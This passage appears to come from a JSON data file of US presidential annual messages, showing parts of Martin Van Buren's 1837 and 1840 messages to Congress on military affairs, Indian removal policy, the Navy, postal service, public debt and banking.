some general arrangement that will render this\ndescription of force more efficient has long been a subject of anxious\nsolicitude. It was recommended to the First Congress by General Washington,\nand has been since frequently brought to your notice, and recently its\nimportance strongly urged by my immediate predecessor. The provision in the\nConstitution that renders it necessary to adopt a uniform system of\norganization for the militia throughout the United States presents an\ninsurmountable obstacle to an efficient arrangement by the classification\nheretofore proposed, and I invite your attention to the plan which will be\nsubmitted by the Secretary of War, for the organization of volunteer corps\nand the instruction of militia officers, as more simple and practicable, if\nnot equally advantageous, as a general arrangement of the whole militia of\nthe United States.A moderate increase of the corps both of military and topographical\nengineers has been more than once recommended by my predecessor, and my\nconviction of the propriety, not to say necessity, of the measure, in order\nto enable them to perform the various and important duties imposed upon\nthem, induces me to repeat the recommendation.The Military Academy continues to answer all the purposes of its\nestablishment, and not only furnishes well-educated officers to the Army,\nbut serves to diffuse throughout the mass of our citizens individuals\npossessed of military knowledge and the scientific attainments of civil and\nmilitary engineering. At present the cadet is bound, with consent of his\nparents or guardians, to remain in service five years from the period of\nhis enlistment, unless sooner discharged, thus exacting only one year's\nservice in the Army after his education is completed. This does not appear\nto me sufficient. Government ought to command for a longer period the\nservices of those who are educated at the public expense, and I recommend\nthat the time of enlistment be extended to seven years, and the terms of\nthe engagement strictly enforced.The creation of a national foundry for cannon, to be common to the service\nof the Army and Navy of the United States, has been heretofore recommended,\nand appears to be required in order to place our ordnance on an equal\nfooting with that of other countries and to enable that branch of the\nservice to control the prices of those articles and graduate the supplies\nto the wants of the Government, as well as to regulate their quality and\ninsure their uniformity. The same reasons induce me to recommend the\nerection of a manufactory of gunpowder, to be under the direction of the\nOrdnance Office. The establishment of a manufactory of small arms west of\nthe Alleghany Mountains, upon the plan proposed by the Secretary of War,\nwill contribute to extend throughout that country the improvements which\nexist in establishments of a similar description in the Atlantic States,\nand tend to a much more economical distribution of the armament required in\nthe western portion of our Union.The system of removing the Indians west of the Mississippi, commenced by\nMr. Jefferson in 1804, has been steadily persevered in by every succeeding\nPresident, and may be considered the settled policy of the country.\nUnconnected at first with any well-defined system for their improvement,\nthe inducements held out to the Indians were confined to the greater\nabundance of game to be found in the West; but when the beneficial effects\nof their removal were made apparent a more philanthropic and enlightened\npolicy was adopted in purchasing their lands east of the Mississippi.\nLiberal prices were given and provisions inserted in all the treaties with\nthem for the application of the funds they received in exchange to such\npurposes as were best calculated to promote their present welfare and\nadvance their future civilization. These measures have been attended thus\nfar with the happiest results.It will be seen by referring to the report of the Commissioner of Indian\nAffairs that the most sanguine expectations of the friends and promoters of\nthis system have been realized. The Choctaws, Cherokees, and other tribes\nthat first emigrated beyond the Mississippi have for the most part\nabandoned the hunter state and become cultivators of the soil. The\nimprovement in their condition has been rapid, and it is believed that they\nare now fitted to enjoy the advantages of a simple form of government,\nwhich has been submitted to them and received their sanction; and I can not\ntoo strongly urge this subject upon the attention of Congress.Stipulations have been made with all the Indian tribes to remove them\nbeyond the Mississippi, except with the bands of the Wyandots, the Six\nNations in New York, the Menomonees, Munsees, and Stockbridges in\nWisconsin, and Miamies in Indiana. With all but the Menomonees it is\nexpected that arrangements for their emigration will be completed the\npresent year. The resistance which has been opposed to their removal by\nsome of the tribes even after treaties had been made with them to that\neffect has arisen from various causes, operating differently on each of\nthem. In most instances they have been instigated to resistance by persons\nto whom the trade with them and the acquisition of their annuities were\nimportant, and in some by the personal influence of interested chiefs.\nThese obstacles must be overcome, for the Government can not relinquish the\nexecution of this policy without sacrificing important interests and\nabandoning the tribes remaining east of the Mississippi to certain\ndestruction.The decrease in numbers of the tribes within the limits of the States and\nTerritories has been most rapid. If they be removed, they can be protected\nfrom those associations and evil practices which exert so pernicious and\ndestructive an influence over their destinies. They can be induced to labor\nand to acquire property, and its acquisition will inspire them with a\nfeeling of independence. Their minds can be cultivated, and they can be\ntaught the value of salutary and uniform laws and be made sensible of the\nblessings of free government and capable of enjoying its advantages. In the\npossession of property, knowledge, and a good government, free to give what\ndirection they please to their labor, and sharers in the legislation by\nwhich their persons and the profits of their industry are to be protected\nand secured, they will have an ever-present conviction of the importance of\nunion and peace among themselves and of the preservation of amicable\nrelations with us. The interests of the United States would also be greatly\npromoted by freeing the relations between the General and State Governments\nfrom what has proved a most embarrassing incumbrance by a satisfactory\nadjustment of conflicting titles to lands caused by the occupation of the\nIndians, and by causing the resources of the whole country to be developed\nby the power of the State and General Governments and improved by the\nenterprise of a white population.Intimately connected with this subject is the obligation of the Government\nto fulfill its treaty stipulations and to protect the Indians thus\nassembled \"at their new residences from all interruptions and disturbances\nfrom any other tribes or nations of Indians or from any other person or\npersons whatsoever,\" and the equally solemn obligation to guard from Indian\nhostility its own border settlements, stretching along a line of more than\n1,000 miles. To enable the Government to redeem this pledge to the Indians\nand to afford adequate protection to its own citizens will require the\ncontinual presence of a considerable regular force on the frontiers and the\nestablishment of a chain of permanent posts. Examinations of the country\nare now making, with a view to decide on the most suitable points for the\nerection of fortresses and other works of defense, the results of which\nwill be presented to you by the Secretary of War at an early day, together\nwith a plan for the effectual protection of the friendly Indians and the\npermanent defense of the frontier States.By the report of the Secretary of the Navy herewith communicated it appears\nthat unremitted exertions have been made at the different navy-yards to\ncarry into effect all authorized measures for the extension and employment\nof our naval force. The launching and preparation of the ship of the line\nPennsylvania and the complete repairs of the ships of the line Ohio,\nDelaware, and Columbus may be noticed as forming a respectable addition to\nthis important arm of our national defense. Our commerce and navigation\nhave received increased aid and protection during the present year. Our\nsquadrons in the Pacific and on the Brazilian station have been much\nincreased, and that in the Mediterranean, although small, is adequate to\nthe present wants of our commerce in that sea. Additions have been made to\nour squadron on the West India station, where the large force under\nCommodore Dallas has been most actively and efficiently employed in\nprotecting our commerce, in preventing the importation of slaves, and in\ncooperating with the officers of the Army in carrying on the war in\nFlorida.The satisfactory condition of our naval force abroad leaves at our disposal\nthe means of conveniently providing for a home squadron for the protection\nof commerce upon our extensive coast. The amount of appropriations required\nfor such a squadron will be found in the general estimates for the naval\nservice for the year 1838.The naval officers engaged upon our coast survey have rendered important\nservice to our navigation. The discovery of a new channel into the harbor\nof New York, through which our largest ships may pass without danger, must\nafford important commercial advantages to that harbor and add greatly to\nits value as a naval station. The accurate survey of Georges Shoals, off\nthe coast of Massachusetts, lately completed, will render comparatively\nsafe a navigation hitherto considered dangerous.Considerable additions have been made to the number of captains,\ncommanders, lieutenants, surgeons, and assistant surgeons in the Navy.\nThese additions were rendered necessary by the increased number of vessels\nput in commission to answer the exigencies of our growing commerce.Your attention is respectfully invited to the various suggestions of the\nSecretary for the improvement of the naval service.The report of the Postmaster-General exhibits the progress and condition of\nthe mail service. The operations of the Post-Office Department constitute\none of the most active elements of our national prosperity, and it is\ngratifying to observe with what vigor they are conducted. The mail routes\nof the United States cover an extent of about 142,877 miles, having been\nincreased about 37,103 miles within the last two years. The annual mail\ntransportation on these routes is about 36,228,962 miles, having been\nincreased about 10,359,476 miles within the same period. The number of\npost-offices has also been increased from 10,770 to 12,099, very few of\nwhich receive the mails less than once a week, and a large portion of them\ndaily. Contractors and postmasters in general are represented as attending\nto their duties with most commendable zeal and fidelity. The revenue of the\nDepartment within the year ending on the 30th of June last was\n$4,137,056.59, and its liabilities accruing within the same time were\n$3,380,847.75. The increase of revenue over that of the preceding year was\n$708,166.41.For many interesting details I refer you to the report of the\nPostmaster-General, with the accompanying papers, Your particular attention\nis invited to the necessity of providing a more safe and convenient\nbuilding for the accommodation of that Department.I lay before Congress copies of reports submitted in pursuance of a call\nmade by me upon the heads of Departments for such suggestions as their\nexperience might enable them to make as to what further legislative\nprovisions may be advantageously adopted to secure the faithful application\nof public moneys to the objects for which they are appropriated, to prevent\ntheir misapplication or embezzlement by those intrusted with the\nexpenditure of them, and generally to increase the security of the\nGovernment against losses in their disbursement. It is needless to dilate\non the importance of providing such new safeguards as are within the power\nof legislation to promote these ends, and I have little to add to the\nrecommendations submitted in the accompanying papers.By law the terms of service of our most important collecting and disbursing\nofficers in the civil departments are limited to four years, and when\nreappointed their bonds are required to be renewed. The safety of the\npublic is much increased by this feature of the law, and there can be no\ndoubt that its application to all officers intrusted with the collection or\ndisbursement of the public money, whatever may be the tenure of their\noffices, would be equally beneficial. I therefore recommend, in addition to\nsuch of the suggestions presented by the heads of Departments as you may\nthink useful, a general provision that all officers of the Army or Navy, or\nin the civil departments, intrusted with the receipt or payment of public\nmoney, and whose term of service is either unlimited or for a longer time\nthan four years, be required to give new bonds, with good and sufficient\nsureties, at the expiration of every such period.A change in the period of terminating the fiscal year, from the 1st of\nOctober to the 1st of April, has been frequently recommended, and appears\nto be desirable.The distressing casualties in steamboats which have so frequently happened\nduring the year seem to evince the necessity of attempting to prevent them\nby means of severe provisions connected with their customhouse papers. This\nsubject was submitted to the attention of Congress by the Secretary of the\nTreasury in his last annual report, and will be again noticed at the\npresent session, with additional details. It will doubtless receive that\nearly and careful consideration which its pressing importance appears to\nrequire.Your attention has heretofore been frequently called to the affairs of the\nDistrict of Columbia, and I should not again ask it did not their entire\ndependence on Congress give them a constant claim upon its notice.\nSeparated by the Constitution from the rest of the Union, limited in\nextent, and aided by no legislature of its own, it would seem to be a spot\nwhere a wise and uniform system of local government might have been easily\nadopted. This District has, however, unfortunately been left to linger\nbehind the rest of the Union. Its codes, civil and criminal, are not only\nvery defective, but full of obsolete or inconvenient provisions. Being\nformed of portions of two States, discrepancies in the laws prevail in\ndifferent parts of the territory, small as it is; and although it was\nselected as the seat of the General Government, the site of its public\nedifices, the depository of its archives, and the residence of officers\nintrusted with large amounts of public property and the management of\npublic business, yet it has never been subjected to or received that\nspecial and comprehensive legislation which these circumstances peculiarly\ndemand. I am well aware of the various subjects of greater magnitude and\nimmediate interest that press themselves on the consideration of Congress,\nbut I believe there is not one that appeals more directly to its justice\nthan a liberal and even generous attention to the interests of the District\nof Columbia and a thorough and careful revision of its local government. M.\nVAN BUREN", 
+    "name": "Martin van Buren"
+}
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+{
+    "date": "December 5, 1840", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:Our devout gratitude is due to the Supreme Being for having graciously\ncontinued to our beloved country through the vicissitudes of another year\nthe invaluable blessings of health, plenty, and peace. Seldom has this\nfavored land been so generally exempted from the ravages of disease or the\nlabor of the husbandman more amply rewarded, and never before have our\nrelations with other countries been placed on a more favorable basis than\nthat which they so happily occupy at this critical conjuncture in the\naffairs of the world. A rigid and persevering abstinence from all\ninterference with the domestic and political relations of other States,\nalike due to the genius and distinctive character of our Government and to\nthe principles by which it is directed; a faithful observance in the\nmanagement of our foreign relations of the practice of speaking plainly,\ndealing justly, and requiring truth and justice in return as the best\nconservatives of the peace of nations; a strict impartiality in our\nmanifestations of friendship in the commercial privileges we concede and\nthose we require from others--these, accompanied by a disposition as prompt\nto maintain in every emergency our own rights as we are from principle\naverse to the invasion of those of others, have given to our country and\nGovernment a standing in the great family of nations of which we have just\ncause to be proud and the advantages of which are experienced by our\ncitizens throughout every portion of the earth to which their enterprising\nand adventurous spirit may carry them. Few, if any, remain insensible to\nthe value of our friendship or ignorant of the terms on which it can be\nacquired and by which it can alone be preserved.A series of questions of long standing, difficult in their adjustment and\nimportant in their consequences, in which the rights of our citizens and\nthe honor of the country were deeply involved, have in the course of a few\nyears (the most of them during the successful Administration of my\nimmediate predecessor) been brought to a satisfactory conclusion; and the\nmost important of those remaining are, I am happy to believe, in a fair way\nof being speedily and satisfactorily adjusted.With all the powers of the world our relations are those of honorable\npeace. Since your adjournment nothing serious has occurred to interrupt or\nthreaten this desirable harmony. If clouds have lowered above the other\nhemisphere, they have not cast their portentous shadows upon our happy\nshores. Bound by no entangling alliances, yet linked by a common nature and\ninterest with the other nations of mankind, our aspirations are for the\npreservation of peace, in whose solid and civilizing triumphs all may\nparticipate with a generous emulation. Yet it behooves us to be prepared\nfor any event and to be always ready to maintain those just and enlightened\nprinciples of national intercourse for which this Government has ever\ncontended. In the shock of contending empires it is only by assuming a\nresolute bearing and clothing themselves with defensive armor that neutral\nnations can maintain their independent rights.The excitement which grew out of the territorial controversy between the\nUnited States and Great Britain having in a great measure subsided, it is\nhoped that a favorable period is approaching for its final settlement. Both\nGovernments must now be convinced of the dangers with which the question is\nfraught, and it must be their desire, as it is their interest, that this\nperpetual cause of irritation should be removed as speedily as practicable.\nIn my last annual message you were informed that the proposition for a\ncommission of exploration and survey promised by Great Britain had been\nreceived, and that a counter project, including also a provision for the\ncertain and final adjustment of the limits in dispute, was then before the\nBritish Government for its consideration. The answer of that Government,\naccompanied by additional propositions of its own, was received through its\nminister here since your separation. These were promptly considered, such\nas were deemed correct in principle and consistent with a due regard to the\njust rights of the United States and of the State of Maine concurred in,\nand the reasons for dissenting from the residue, with an additional\nsuggestion on our part, communicated by the Secretary of State to Mr. Fox.\nThat minister, not feeling himself sufficiently instructed upon some of the\npoints raised in the discussion, felt it to be his duty to refer the matter\nto his own Government for its further decision. Having now been for some\ntime under its advisement, a speedy answer may be confidently expected.\nFrom the character of the points still in difference and the undoubted\ndisposition of both parties to bring the matter to an early conclusion, I\nlook with entire confidence to a prompt and satisfactory termination of the\nnegotiation. Three commissioners were appointed shortly after the\nadjournment of Congress under the act of the last session providing for the\nexploration and survey of the line which separates the States of Maine and\nNew Hampshire from the British Provinces. They have been actively employed\nuntil their progress was interrupted by the inclemency of the season, and\nwill resume their labors as soon as practicable in the ensuing year.It is understood that their respective examinations will throw new light\nupon the subject in controversy and serve to remove any erroneous\nimpressions which may have been made elsewhere prejudicial to the rights of\nthe United States. It was, among other reasons, with a view of preventing\nthe embarrassments which in our peculiar system of government impede and\ncomplicate negotiations involving the territorial rights of a State that I\nthought it my duty, as you have been informed on a previous occasion, to\npropose to the British Government, through its minister at Washington, that\nearly steps should be taken to adjust the points of difference on the line\nof boundary from the entrance of Lake Superior to the most northwestern\npoint of the Lake of the Woods by the arbitration of a friendly power in\nconformity with the seventh article of the treaty of Ghent. No answer has\nyet been returned by the British Government to this proposition.With Austria, France, Prussia, Russia, and the remaining powers of Europe I\nam happy to inform you our relations continue to be of the most friendly\ncharacter. With Belgium a treaty of commerce and navigation, based upon\nliberal principles of reciprocity and equality, was concluded in March\nlast, and, having been ratified by the Belgian Government, will be duly\nlaid before the Senate. It is a subject of congratulation that it provides\nfor the satisfactory adjustment of a long-standing question of controversy,\nthus removing the only obstacle which could obstruct the friendly and\nmutually advantageous intercourse between the two nations. A messenger has\nbeen dispatched with the Hanoverian treaty to Berlin, where, according to\nstipulation, the ratifications are to be exchanged. I am happy to announce\nto you that after many delays and difficulties a treaty of commerce and\nnavigation between the United States and Portugal was concluded and signed\nat Lisbon on the 26th of August last by the plenipotentiaries of the two\nGovernments. Its stipulations are founded upon those principles of mutual\nliberality and advantage which the United States have always sought to make\nthe basis of their intercourse with foreign powers, and it is hoped they\nwill tend to foster and strengthen the commercial intercourse of the two\ncountries.Under the appropriation of the last session of Congress an agent has been\nsent to Germany for the purpose of promoting the interests of our tobacco\ntrade.The commissioners appointed under the convention for the adjustment of\nclaims of citizens of the United States upon Mexico having met and\norganized at Washington in August last, the papers in the possession of the\nGovernment relating to those claims were communicated to the board. The\nclaims not embraced by that convention are now the subject of negotiation\nbetween the two Governments through the medium of our minister at Mexico.Nothing has occurred to disturb the harmony of our relations with the\ndifferent Governments of South America. I regret, however, to be obliged to\ninform you that the claims of our citizens upon the late Republic of\nColombia have not yet been satisfied by the separate Governments into which\nit has been resolved.The charge d'affaires of Brazil having expressed the intention of his\nGovernment not to prolong the treaty of 1828, it will cease to be\nobligatory upon either party on the 12th day of December, 1841, when the\nextensive commercial intercourse between the United States and that vast\nEmpire will no longer be regulated by express stipulations.It affords me pleasure to communicate to you that the Government of Chili\nhas entered into an agreement to indemnify the claimants in the case of the\nMacectonian for American property seized in 1819, and to add that\ninformation has also been received which justifies the hope of an early\nadjustment of the remaining claims upon that Government.The commissioners appointed in pursuance of the convention between the\nUnited States and Texas for marking the boundary between them have,\naccording to the last report received from our commissioner, surveyed and\nestablished the whole extent of the boundary north along the western bank\nof the Sabine River from its entrance into the Gulf of Mexico to the\nthirty-second degree of north latitude. The commission adjourned on the\n16th of June last, to reassemble on the 1st of November for the purpose of\nestablishing accurately the intersection of the thirty-second degree of\nlatitude with the western bank of the Sabine and the meridian line thence\nto Red River. It is presumed that the work will be concluded in the present\nseason.The present sound condition of their finances and the success with which\nembarrassments in regard to them, at times apparently insurmountable, have\nbeen overcome are matters upon which the people and Government of the\nUnited States may well congratulate themselves. An overflowing Treasury,\nhowever it may be regarded as an evidence of public prosperity, is seldom\nconducive to the permanent welfare of any people, and experience has\ndemonstrated its incompatibility with the salutary action of political\ninstitutions like those of the United States. Our safest reliance for\nfinancial efficiency and independence has, on the contrary, been found to\nconsist in ample resources unencumbered with debt, and in this respect the\nFederal Government occupies a singularly fortunate and truly enviable\nposition.When I entered upon the discharge of my official duties in March, 1837, the\nact for the distribution of the surplus revenue was in a course of rapid\nexecution. Nearly $28,000,000 of the public moneys were, in pursuance of\nits provisions, deposited with the States in the months of January, April,\nand July of that year. In May there occurred a general suspension of specie\npayments by the banks, including, with very few exceptions, those in which\nthe public moneys were deposited and upon whose fidelity the Government had\nunfortunately made itself dependent for the revenues which had been\ncollected from the people and were indispensable to the public service.This suspension and the excesses in banking and commerce out of which it\narose, and which were greatly aggravated by its occurrence, made to a great\nextent unavailable the principal part of the public money then on hand,\nsuspended the collection of many millions accruing on merchants' bonds, and\ngreatly reduced the revenue arising from customs and the public lands.\nThese effects have continued to operate in various degrees to the present\nperiod, and in addition to the decrease in the revenue thus produced two\nand a half millions of duties have been relinquished by two biennial\nreductions under the act of 1833, and probably as much more upon the\nimportation of iron for railroads by special legislation.Whilst such has been our condition for the last four years in relation to\nrevenue, we have during the same period been subjected to an unavoidable\ncontinuance of large extraordinary expenses necessarily growing out of past\ntransactions, and which could not be immediately arrested without great\nprejudice to the public interest. Of these, the charge upon the Treasurer\nin consequence of the Cherokee treaty alone, without adverting to others\narising out of Indian treaties, has already exceeded $5,000,000; that for\nthe prosecution of measures for the removal of the Seminole Indians, which\nwere found in progress, has been nearly fourteen millions, and the public\nbuildings have required the unusual sum of nearly three millions.It affords me, however, great pleasure to be able to say that from the\ncommencement of this period to the present day every demand upon the\nGovernment, at home or abroad, has been promptly met. This has been done\nnot only without creating a permanent debt or a resort to additional\ntaxation in any form, but in the midst of a steadily progressive reduction\nof existing burdens upon the people, leaving still a considerable balance\nof available funds which will remain in the Treasury at the end of the\nyear. The small amount of Treasury notes, not exceeding $4,500,000, still\noutstanding, and less by twenty-three millions than the United States have\nin deposit with the States, is composed of such only as are not yet due or\nhave not been presented for payment. They may be redeemed out of the\naccruing revenue if the expenditures do not exceed the amount within which\nthey may, it is thought, be kept without prejudice to the public interest,\nand the revenue shall prove to be as large as may justly be anticipated.Among the reflections arising from the contemplation of these\ncircumstances, one, not the least gratifying, is the consciousness that the\nGovernment had the resolution and the ability to adhere in every emergency\nto the sacred obligations of law, to execute all its contracts according to\nthe requirements of the Constitution, and thus to present when most needed\na rallying point by which the business of the whole country might be\nbrought back to a safe and unvarying standard--a result vitally important\nas well to the interests as to the morals of the people. There can surely\nnow be no difference of opinion in regard to the incalculable evils that\nwould have arisen if the Government at that critical moment had suffered\nitself to be deterred from upholding the only true standard of value,\neither by the pressure of adverse circumstances or the violence of\nunmerited denunciation. The manner in which the people sustained the\nperformance of this duty was highly honorable to their fortitude and\npatriotism. It can not fail to stimulate their agents to adhere under all\ncircumstances to the line of duty and to satisfy them of the safety with\nwhich a course really right and demanded by a financial crisis may in a\ncommunity like ours be pursued, however apparently severe its immediate\noperation.The policy of the Federal Government in extinguishing as rapidly as\npossible the national debt, and subsequently in resisting every temptation\nto create a new one, deserves to be regarded in the same favorable light.\nAmong the many objections to a national debt, the certain tendency of\npublic securities to concentrate ultimately in the coffers of foreign\nstockholders is one which is every day gathering strength. Already have the\nresources of many of the States and the future industry of their citizens\nbeen indefinitely mortgaged to the subjects of European Governments to the\namount of twelve millions annually to pay the constantly accruing interest\non borrowed money--a sum exceeding half the ordinary revenues of the whole\nUnited States. The pretext which this relation affords to foreigners to\nscrutinize the management of our domestic affairs, if not actually to\nintermeddle with them, presents a subject for earnest attention, not to say\nof serious alarm. Fortunately, the Federal Government, with the exception\nof an obligation entered into in behalf of the District of Columbia, which\nmust soon be discharged, is wholly exempt from any such embarrassment. It\nis also, as is believed, the only Government which, having fully and\nfaithfully paid all its creditors, has also relieved itself entirely from\ndebt. To maintain a distinction so desirable and so honorable to our\nnational character should be an object of earnest solicitude. Never should\na free people, if it be possible to avoid it, expose themselves to the\nnecessity of having to treat of the peace, the honor, or the safety of the\nRepublic with the governments of foreign creditors, who, however well\ndisposed they may be to cultivate with us in general friendly relations,\nare nevertheless by the law of their own condition made hostile to the\nsuccess and permanency of political institutions like ours. Most\nhumiliating may be the embarrassments consequent upon such a condition.\nAnother objection, scarcely less formidable, to the commencement of a new\ndebt is its inevitable tendency to increase in magnitude and to foster\nnational extravagance. He has been an unprofitable observer of events who\nneeds at this day to be admonished of the difficulties which a government\nhabitually dependent on loans to sustain its ordinary expenditures has to\nencounter in resisting the influences constantly exerted in favor of\nadditional loans; by capitalists, who enrich themselves by government\nsecurities for amounts much exceeding the money they actually advance--a\nprolific source of individual aggrandizement in all borrowing countries; by\nstockholders, who seek their gains in the rise and fall of public stocks;\nand by the selfish importunities of applicants for appropriations for works\navowedly for the accommodation of the public, but the real objects of which\nare too frequently the advancement of private interests. The known\nnecessity which so many of the States will be under to impose taxes for the\npayment of the interest on their debts furnishes an additional and very\ncogent reason why the Federal Governments should refrain from creating a\nnational debt, by which the people would be exposed to double taxation for\na similar object. We possess within ourselves ample resources for every\nemergency, and we may be quite sure that our citizens in no future exigency\nwill be unwilling to supply the Government with all the means asked for the\ndefense of the country. In time of peace there can, at all events, be no\njustification for the creation of a permanent debt by the Federal\nGovernment. Its limited range of constitutional duties may certainly under\nsuch circumstances be performed without such a resort. It has, it is seen,\nbeen avoided during four years of greater fiscal difficulties than have\nexisted in a similar period since the adoption of the Constitution, and one\nalso remarkable for the occurrence of extraordinary causes of\nexpenditures.But to accomplish so desirable an object two things are indispensable:\nFirst, that the action of the Federal Government be kept within the\nboundaries prescribed by its founders, and, secondly, that all\nappropriations for objects admitted to be constitutional, and the\nexpenditure of them also, be subjected to a standard of rigid but\nwell-considered and practical economy. The first depends chiefly on the\npeople themselves--the opinions they form of the true construction of the\nConstitution and the confidence they repose in the political sentiments of\nthose they select as their representatives in the Federal Legislature; the\nsecond rests upon the fidelity with which their more immediate\nrepresentatives and other public functionaries discharge the trusts\ncommitted to them. The duty of economizing the expenses of the public\nservice is admitted on all hands; yet there are few subjects upon which\nthere exists a wider difference of opinion than is constantly manifested in\nregard to the fidelity with which that duty is discharged. Neither\ndiversity of sentiment nor even mutual recriminations upon a point in\nrespect to which the public mind is so justly sensitive can well be\nentirely avoided, and least so at periods of great political excitement. An\nintelligent people, however, seldom fail to arrive in the end at correct\nconclusions in such a matter. Practical economy in the management of public\naffairs can have no adverse influence to contend with more powerful than a\nlarge surplus revenue, and the unusually large appropriations for 1837 may\nwithout doubt, independently of the extraordinary requisitions for the\npublic service growing out of the state of our Indian relations, be in no\ninconsiderable degree traced to this source. The sudden and rapid\ndistribution of the large surplus then in the Treasury and the equally\nsudden and unprecedentedly severe revulsion in the commerce and business of\nthe country, pointing with unerring certainty to a great and protracted\nreduction of the revenue, strengthened the propriety of the earliest\npracticable reduction of the public expenditures.But to change a system operating upon so large a surface and applicable to\nsuch numerous and diversified interests and objects was more than the work\nof a day. The attention of every department of the Government was\nimmediately and in good faith directed to that end, and has been so\ncontinued to the present moment. The estimates and appropriations for the\nyear 1838 (the first over which I had any control) were somewhat\ndiminished. The expenditures of 1839 were reduced $6,000,000. Those of\n1840, exclusive of disbursements for public debt and trust claims, will\nprobably not exceed twenty-two and a half millions, being between two and\nthree millions less than those of the preceding year and nine or ten\nmillions less than those of 1837. Nor has it been found necessary in order\nto produce this result to resort to the power conferred by Congress of\npostponing certain classes of the public works, except by deferring\nexpenditures for a short period upon a limited portion of them, and which\npostponement terminated some time since--at the moment the Treasury\nDepartment by further receipts from the indebted banks became fully assured\nof its ability to meet them without prejudice to the public service in\nother respects. Causes are in operation which will, it is believed, justify\na still further reduction without injury to any important national\ninterest. The expenses of sustaining the troops employed in Florida have\nbeen gradually and greatly reduced through the persevering efforts of the\nWar Department, and a reasonable hope may be entertained that the necessity\nfor military operations in that quarter will soon cease. The removal of the\nIndians from within our settled borders is nearly completed. The pension\nlist, one of the heaviest charges upon the Treasury, is rapidly diminishing\nby death. The most costly of our public buildings are either finished or\nnearly so, and we may, I think, safely promise ourselves a continued\nexemption from border difficulties.The available balance in the Treasury on the 1st of January next is\nestimated at $ 1,500,000. This sum, with the expected receipts from all\nsources during the next year, will, it is believed, be sufficient to enable\nthe Government to meet every engagement and have a suitable balance, in the\nTreasury at the end of the year, if the remedial measures connected with\nthe customs and the public lands heretofore recommended are adopted and the\nnew appropriations by Congress shall not carry the expenditures beyond the\nofficial estimates.The new system established by Congress for the safe-keeping of the public\nmoney, prescribing the kind of currency to be received for the public\nrevenue and providing additional guards and securities against losses, has\nnow been several mouths in operation. Although it might be premature upon\nan experience of such limited duration to form a definite opinion in regard\nto the extent of its influences in correcting many evils under which the\nFederal Government and the country have hitherto suffered, especially those\nthat have grown out of banking expansions, a depreciated currency, and\nofficial defalcations, yet it is but right to say that nothing has occurred\nin the practical operation of the system to weaken in the slightest degree,\nbut much to strengthen, the confident anticipations of its friends. The\ngrounds of these have been heretofore so fully explained as to require no\nrecapitulation. In respect to the facility and convenience it affords in\nconducting the public service, and the ability of the Government to\ndischarge through its agency every duty attendant on the collection,\ntransfer, and disbursement of the public money with promptitude and\nsuccess, I can say with confidence that the apprehensions of those who felt\nit to be their duty to oppose its adoption have proved to be unfounded. On\nthe contrary, this branch of the fiscal affairs of the Government has been,\nand it is believed may always be, thus carried on with every desirable\nfacility and security. A few changes and improvements in the details of the\nsystem, without affecting any principles involved in it, will be submitted\nto you by the Secretary of the Treasury, and will, I am sure, receive at\nyour hands that attention to which they may on examination be found to be\nentitled.I have deemed this brief summary of our fiscal affairs necessary to the due\nperformance of a duty specially enjoined upon me by the Constitution. It\nwill serve also to illustrate more fully the principles by which I have\nbeen guided in reference to two contested points in our public policy which\nwere earliest in their development and have been more important in their\nconsequences than any that have arisen under our complicated and difficult,\nyet admirable, system of government. I allude to a national debt and a\nnational bank. It was in these that the political contests by which the\ncountry has been agitated ever since the adoption of the Constitution in a\ngreat measure originated, and there is too much reason to apprehend that\nthe conflicting interests and opposing principles thus marshaled will\ncontinue as heretofore to produce similar if not aggravated consequences.\nComing into office the declared enemy of both, I have earnestly endeavored\nto prevent a resort to either.The consideration that a large public debt affords an apology, and produces\nin some degree a necessity also, for resorting to a system and extent of\ntaxation which is not only oppressive throughout, but is likewise so apt to\nlead in the end to the commission of that most odious of all offenses\nagainst the principles of republican government, the prostitution of\npolitical power, conferred for the general benefit, to the aggrandizement\nof particular classes and the gratification of individual cupidity, is\nalone sufficient, independently of the weighty objections which have\nalready been urged, to render its creation and existence the sources of\nbitter and unappeasable discord. If we add to this its inevitable tendency\nto produce and foster extravagant expenditures of the public moneys, by\nwhich a necessity is created for new loans and new burdens on the people,\nand, finally, refer to the examples of every government which has existed\nfor proof, how seldom it is that the system, when once adopted and\nimplanted in the policy of a country, has failed to expand itself until\npublic credit was exhausted and the people were no longer able to endure\nits increasing weight, it seems impossible to resist the conclusion that no\nbenefits resulting from its career, no extent of conquest, no accession of\nwealth to particular classes, nor any nor all its combined advantages, can\ncounterbalance its ultimate but certain results--a splendid government and\nan impoverished people.If a national bank was, as is undeniable, repudiated by the framers of the\nConstitution as incompatible with the rights of the States and the\nliberties of the people; if from the beginning it has been regarded by\nlarge portions of our citizens as coming in direct collision with that\ngreat and vital amendment of the Constitution which declares that all\npowers not conferred by that instrument on the General Government are\nreserved to the States and to the people; if it has been viewed by them as\nthe first great step in the march of latitudinous construction, which\nunchecked would render that sacred instrument of as little value as an\nunwritten constitution, dependent, as it would alone be, for its meaning on\nthe interested interpretation of a dominant party, and affording no\nsecurity to the rights of the minority--if such is undeniably the case,\nwhat rational grounds could have been conceived for anticipating aught but\ndetermined opposition to such an institution at the present day.Could a different result have been expected when the consequences which\nhave flowed from its creation, and particularly from its struggles to\nperpetuate its existence, had confirmed in so striking a manner the\napprehensions of its earliest opponents; when it had been so clearly\ndemonstrated that a concentrated money power, wielding so vast a capital\nand combining such incalculable means of influence, may in those peculiar\nconjunctures to which this Government is unavoidably exposed prove an\novermatch for the political power of the people themselves; when the true\ncharacter of its capacity to regulate according to its will and its\ninterests and the interests of its favorites the value and production of\nthe labor and property of every man in this extended country had been so\nfully and fearfully developed; when it was notorious that all classes of\nthis great community had, by means of the power and influence it thus\npossesses, been infected to madness with a spirit of heedless speculation;\nwhen it had been seen that, secure in the support of the combination of\ninfluences by which it was surrounded, it could violate its charter and set\nthe laws at defiance with impunity; and when, too, it had become most\napparent that to believe that such an accumulation of powers can ever be\ngranted without the certainty of being abused was to indulge in a fatal\ndelusion?To avoid the necessity of a permanent debt and its inevitable consequences\nI have advocated and endeavored to carry into effect the policy of\nconfining the appropriations for the public service to such objects only as\nare clearly within the constitutional authority of the Federal Government;\nof excluding from its expenses those improvident and unauthorized grants of\npublic money for works of internal improvement which were so wisely\narrested by the constitutional interposition of my predecessor, and which,\nif they had not been so checked, would long before this time have involved\nthe finances of the General Government in embarrassments far greater than\nthose which are now experienced by any of the States; of limiting all our\nexpenditures to that simple, unostentatious, and economical administration\nof public affairs which is alone consistent with the character of our\ninstitutions; of collecting annually from the customs, and the sales of\npublic lands a revenue fully adequate to defray all the expenses thus\nincurred; but under no pretense whatsoever to impose 